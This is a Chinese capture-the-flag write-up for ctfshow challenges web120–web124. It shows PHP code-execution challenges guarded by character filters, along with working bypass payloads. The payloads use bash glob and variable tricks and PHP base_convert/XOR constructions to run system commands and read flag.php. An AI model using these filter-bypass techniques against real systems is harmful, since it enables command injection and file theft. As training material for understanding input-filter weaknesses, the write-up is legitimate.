${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? ????.???

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web120

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

给黑名单了!同时有限制长度

payload

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web121

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

与上一题相比,只有我们用到的 SHLVL 被过滤了(虽然好像上一题也可以不用 SHLVL

bash 复制代码
一些 bash 内置变量
${#}=0
${##}=1
${#?}=1
${#??}=0

payload

bash 复制代码
#/bin/base64 flag.php
#/???/?????4 flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???


#/bin/rev flag.php
#/???/r?? ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web122

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

过滤了 PWD#USER,白名单了 HOME

$? 表示上一条命令执行结束后的传回值。通常 0 代表执行成功,非0 代表执行有误

几种报错及对应的返回值

bash 复制代码
"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

(所以利用<A的报错就能返回值1)

bash 复制代码
#将A文件夹内的命令重定向到终端进行执行,由于没有文件A,所以报错1
user@LAPTOP-HHK0H1KL:~$ <A
-bash: A: No such file or directory

#执行 <A 等命令会因找不到目录或者文件执行失败
user@LAPTOP-HHK0H1KL:~$ $?
1: command not found

#执行一个正确的命令
user@LAPTOP-HHK0H1KL:~$ echo hello
hello

#返回0,说明上面的命令执行成功
user@LAPTOP-HHK0H1KL:~$ $?
0: command not found
bash 复制代码
目标:构造 /bin/base64 flag.php
----->   /???/?????4 ????.???
----->   <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

payload (由于使用 RANDOM ,一定要多试几次)

bash 复制代码
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
<A;${HOME:${A}:$?}???${HOME:${A}:$?}?????${RANDOM::$?} ????.???

web124

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

get 传参 c ,长度限制 80 ,有黑白名单

简而言之,要求你构造一个使用白名单函数,又不包括黑名单符号的 payload 来命令执行

白名单中数学函数分两种利用方法,进制转换 和 异或,旨在调用能返回字符串的数学函数达到命令执行的目的。

题解一

shell 复制代码
base_convert(number,frombase,tobase);

number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z               表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表             示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec --- 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin --- 十进制转换为二进制
decbin ( int $number ) : string

dechex --- 十进制转换为十六进制
dechex ( int $number ) : string
#把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 "ffffffff"。

decoct --- 十进制转换为八进制
decoct ( int $number ) : string

hexdec --- 十六进制转换为十进制
hexdec ( int $number ) : string
#把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数

十六进制的字母范围只有 a-f ,显然是不符合我们构造的要求,而三十六进制字母范围正好为 a-z 。

并且 base_convert 正好能在任意进制转换数字,这样我们传入十进制的数字,使其转换为三十六进制时,返回的字符串是我们想要的 cat 等命令。

例如:

php 复制代码
base_convert("cat",36,10);
//15941

这里,虽然可以构造纯字母字符串了,但进制转换显然不能返回 . / * 等特殊字符,而这就需要用到另一类运算函数。

如下

php异或

php 中异或运算符 ^ 是位运算符

  • 如果进行运算的都是数字,会先转换为二进制,再进行按位异或
shell 复制代码
(0 = 0000) ^ (5=0101) = (5=0101)
(1 = 0001) ^ (5=0101) = (4=0100)
(2 = 0010) ^ (5=0101) = (7=0111)

例如

php 复制代码
echo 12^9
//5
  • 如果进行运算的含有字符串

长度一致时,先把字符串 按位转换 为 ascii 码,再将 ascii 码 转换为 二进制 进行按位异或,最后输出 ascii 为异或结果的字符。

长度不一致时,按 最短 的字符串长度 按位异或

php 复制代码
echo "12" ^ "9";

#"12"是两个字符,ASCII码分别是 '1' = 49, '2' = 50
#"9" 是一个字符,ASCII码 '9' = 57
#'1' ^ '9' = 49 ^ 57 = 8 → ASCII #8(Backspace)
#输出是非可见字符,所以看到的一些奇怪的结果或看不到
php 复制代码
echo "hallo" ^ "hello;"
    
#位置	字符1	 字符2     ASCII1	  ASCII2	 异或结果	ASCII
#1		h	       h		104		   104			0		 \0
#2		a	       e		97		   101			4	   	 \x04
#3		l	 	   l		108		   108			0	 	 \0
#4		l		   l		108		   108			0	 	 \0
#5		o	 	   o		111		   111			0	 	 \0
#输出是:\x00\x04\x00\x00\x00 ------ 不是可读字符。
php 复制代码
echo 2 ^ "3"; 
#2 是整数
#"3" 是字符串,但会转成数字 3
#所以 2 ^ 3 = 1
php 复制代码
echo "2" ^ 3;
#"2" 转成整数 2
#3 是整数
#结果也是 2 ^ 3 = 1

按位异或运算的几个性质:

  1. 结合律a ^ b ^ c = a ^ c ^ b

  2. 交换律a ^ b = b ^ a

  3. 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;

    temp = a ^ b; a = temp ^ a; b = temp ^ b;

接下来就是利用异或 构造例如这样 空格* 的特殊字符

由上面的性质 ,"a"^"a" 的结果很明显,相同即 0 ,也就是说,"a"^"a" 的结果 ascii 全 0

ascii 全 0另一位 进行 按位异或,得到结果就正是 另一位ascii 码

换言之,"a"^"x"^"a" 无论怎么调换顺序,输出的都是 xascii 码 120x 被替换为什么,结果就是所替换的那个字符的 ascii码

如果k ^ i ^ 空格* =

则有k ^ i ^ = 空格*

于是我们可以在白名单函数里面寻找 ki ,使 ki 能与 空格* 异或得到 一个值 ( 且这个值能使用数学函数 dechex 得到

利用脚本爆破

php 复制代码
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];

foreach ($whitelist as $i) {
    foreach ($whitelist2 as $k) {
        echo ($k ^ $i ^ " *") . "   $i $k\n";
    }
}

有很多符合条件的值

任取一例 10^pi^asinh 的结果为 空格*

到这里一切都很明确了,目标:构造 system('cat *')

首先反向求解

php 复制代码
echo base_convert("system",36,10);
//1751504350
echo base_convert("cat",36,10);
//15941
echo hexdec(10);
//16
//这个换算有手就行,应该不用去跑一下叭>~<

那么

php 复制代码
#这些都是字符串拼接,不用考虑括号
echo base_convert(1751504350,10,36);
//system
echo base_convert(15941,10,36);
//cat
echo dechex(16);
//10

payload

php 复制代码
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

既然能异或出特殊字符,那么也当然能异或出字母,于是可以不使用进制转换来构造关键字,待看题解三

关于上面的脚本,其实还有一个注意点:

因为 空格* 的长度是2,白名单里面函数名的长度最短的也仅只是2,所以运行出来的 $b $i $k$b 的长度就是 空格* 的长度,即2

假如把 空格* 换成 system ,很显然白名单里面函数名长度比6小的并不少,此时对于运行结果 $b $i $k $b 的长度就不见得是6了,甚至可以说较少有长度为6的 $b,再此时,对于 system ^ $i ^ $k = $b 是成立的,但是反其道求验证时, $b ^ $i ^ $k = system 就很大概率不成立了,很可能被截断成了例如 syst 这样的字符串

所以假如想要用这个方法来构造字符串,似乎有点困难,更准确地,应该说构造较长的字符串比较困难,但是对于短字符串还是可以的,例如 题解三 的 _GET

题解二

先学点前置知识

shell 复制代码
hex2bin:白名单函数,php的一个内置函数,表示将十六进制字符串转换为二进制字符串
[] 可以使用 {} 替代
php 复制代码
<?php
$a = "A";
$$a = "B";![请添加图片描述](https://i-blog.csdnimg.cn/direct/11ede673b2064a35a53da259f6adcf99.png)

echo $a . "\n";
echo $$a . "\n";
echo $A;
?>
    
//A
//B
//B

可变变量

可变变量允许动态地设置变量名

php 复制代码
$a = "land";   // 普通变量,变量名是 a,值是 "land"
$$a = "vidar"; // 可变变量,变量名是 $land,值是 "vidar"

解释:

$a 存储的是 "land"

$$a 相当于 $land,所以 $land = "vidar"

可变函数

PHP 允许变量名后加 () 来调用一个与 变量名的值 同名的函数。

php 复制代码
$func = "system";
$func("ls"); // 实际调用的是 system("ls")

因为黑名单字符过滤较多,我们也可以用 _GET[] 来传 system 之类的命令

(PHP 中的 GET 参数是通过 URL 传入的,而所有传入的参数,本质上都是字符串,不用考虑引号)

目标:构造payload

bash 复制代码
$_GET[a]($_GET[b])&a=system&b=tac flag.php

根据上文可知

[] 可用 {} 代替

hex2bin函数 可以将16进制字符串转换成2进制字符串

那么,其实,下面需要想办法构造的,仅仅只有 _GET[]

先对上面的payload做简单的替换 (变量名使用白名单里的函数)

bash 复制代码
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php

利用进制转换

php 复制代码
echo base_convert(hex2bin,36,10);
//37907361743

echo bin2hex("_GET");
//5f474554

echo hexdec(5f474554);
//1598506324

于是

php 复制代码
echo base_convert(37907361743,10,36);
//hex2bin

echo hex2bin("5f474554")
//_GET
    
echo dechex(1598506324)
//5f474554

做替换

php 复制代码
     hex2bin
---->base_convert(37907361743,10,36)


     _GET
---->hex2bin(dechex(1598506324))
---->base_convert(37907361743,10,36)(dechex(1598506324))    

$pi = _GET

$pi = base_convert(37907361743,10,36)(dechex(1598506324))

于是 payload

php 复制代码
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
    
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
#之后查看源代码

题解三

这一次我们不再使用进制转换,而是改用异或运算来构造所需要的字符

由题解二的payload,我们的目标不变且明确:

依旧是构造payload,区别是 这次是利用异或运算,而不是进制转换

bash 复制代码
$_GET[a]($_GET[b])&a=system&b=tac flag.php

根据上文可知

[] 可用 {} 代替

hex2bin函数 可以将16进制字符串转换成2进制字符串

那么,其实,下面需要想办法构造的,仅仅只有 _GET[]$

先对上面的payload做简单的替换 (变量名使用白名单里的函数)

bash 复制代码
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php

使用白名单里面的数学函数和数字异或生成 _GET

利用白名单里面的数学函数名与 01~99 范围的字符串异或,生成 _GET(也能得到部分特殊字符)

_GET 分为 _GET

利用脚本找到对应的值

ctfshow_web124_2.php

php 复制代码
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

echo "<pre>"; // 保留格式

foreach ($payload as $func) {
    echo "Function: " . str_pad($func, 15) . "\n";
    echo str_repeat("-", 30) . "\n";

    for ($i = 0; $i <= 9; $i++) {
        for ($j = 0; $j <= 9; $j++) {
            $xor_with = $i . $j;
            $result = $func ^ $xor_with;

            // 格式:abs ^ 00 => 结果
            echo str_pad($func, 15) . " ^ " . str_pad($xor_with, 2) . " => " . $result . "\n";
        }
    }

    echo "\n";
}

echo "</pre>";
php 复制代码
is_nan ^ 64 = _G
tan ^ 15 =ET

要注意 64 15 应该是字符串

于是

php 复制代码
      _GET
---->(is_nan^(6).(4)).(tan^(1).(5))

$pi = _GET

$pi = (is_nan^(6).(4)).(tan^(1).(5))

之后令 $pi = $$pi

$pi = $_GET

于是payload

php 复制代码
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=tac flag.php
    
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=cat flag.php
#之后查看源代码

题解四

由于payload被限制长度,且还有白名单函数限制

于是,可以利用 getallheaders 函数 获取当前请求中所有的 HTTP 请求头(headers)信息,并返回一个关联数组(即键值对数组),键是 header 名称,值是 header 的值。总之,就是获取全部 HTTP 请求头信息

目标,构造 system(getallgeaders(){1})

先对 systemgetallheaders 进行进制转换

这里要注意对 getallheaders 进行 base36 → base10 进制转换时会出现精度溢出,导致 base10 → base36 时无法正确还原

对于 getallheaders 的进制转换,(经过尝试) 选择 base29/30→base10 都可以正常转换与还原

进制转换

php 复制代码
echo base_convert("system",36,10);
//1751504350

echo base_convert("getallheaders",30,10);
//8768397090111664438

❌echo base_convert("getallheaders",36,10);
//77763910388090858426   出现精度溢出

构造

php 复制代码
echo base_convert(1751504350,10,36);
//system

echo base_convert(8768397090111664438,10,30);
//getallheaders

❌echo base_convert(77763910388090858426,10,36);
//24ki0q41g67   出现精度溢出,无法正确还原

利用白名单函数构造,这样做的目的也是为了不超字符数量限制

payload

php 复制代码
$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1});
//system(getallgeaders(){1})

在报文头中输入相应的 NameValueValue 为要执行的命令:


总结

这篇博客由 Algo 创作,旨在尽可能详尽地还原相关题目的解题思路与过程。Algo 十分注重逻辑清晰、步骤完整,也注重内容的可读性与视觉呈现,力求做到图文并茂,细节分明。

在排版方面,Algo 尽力使用恰当的标题层级、代码高亮、段落分隔,配合合适比例的截图与标注,以便读者能快速理解每一个关键点与操作步骤。同时,对每一道题的分析都尽力尝试从多角度出发,力求做到"看得懂"、"学得会"、"能复现"

尽管 Algo 已多次校对和调整,但水平有限,难免仍有理解偏差或表述不当之处。
若文中存在疏漏、错误之处或有更优的解法,欢迎各位师傅批评指正、交流学习,感激不尽。

你的支持是我分享更多免费优质内容的动力

相关推荐
wzx_Eleven1 小时前
【论文阅读】基于客户端数据子空间主角度的聚类联邦学习分布相似性高效识别
论文阅读·人工智能·机器学习·网络安全·聚类
上海云盾商务经理杨杨1 小时前
2025年APP安全攻防指南:抵御DDoS与CC攻击的实战策略
安全·web安全·ddos
白山云北诗1 小时前
打造网络安全堡垒,企业如何应对DDoS、CC、XSS和ARP攻击
安全·web安全·ddos·xss
菜鸟、小高4 小时前
Yii2.0 模型规则(rules)详解
php·yii
漠月瑾-西安4 小时前
网络安全自动化:找准边界才能筑牢安全防线
安全·web安全·自动化
上海云盾商务经理杨杨5 小时前
2025年社交APP安全防御指南:抵御DDoS与CC攻击的实战策略
服务器·安全·web安全·ddos
RLG_星辰9 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
独行soc12 小时前
2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
linux·运维·服务器·网络安全·面试·职场和发展·渗透测试
深山技术宅13 小时前
在Laravel 12中实现基于parent_id的树状数组
php·laravel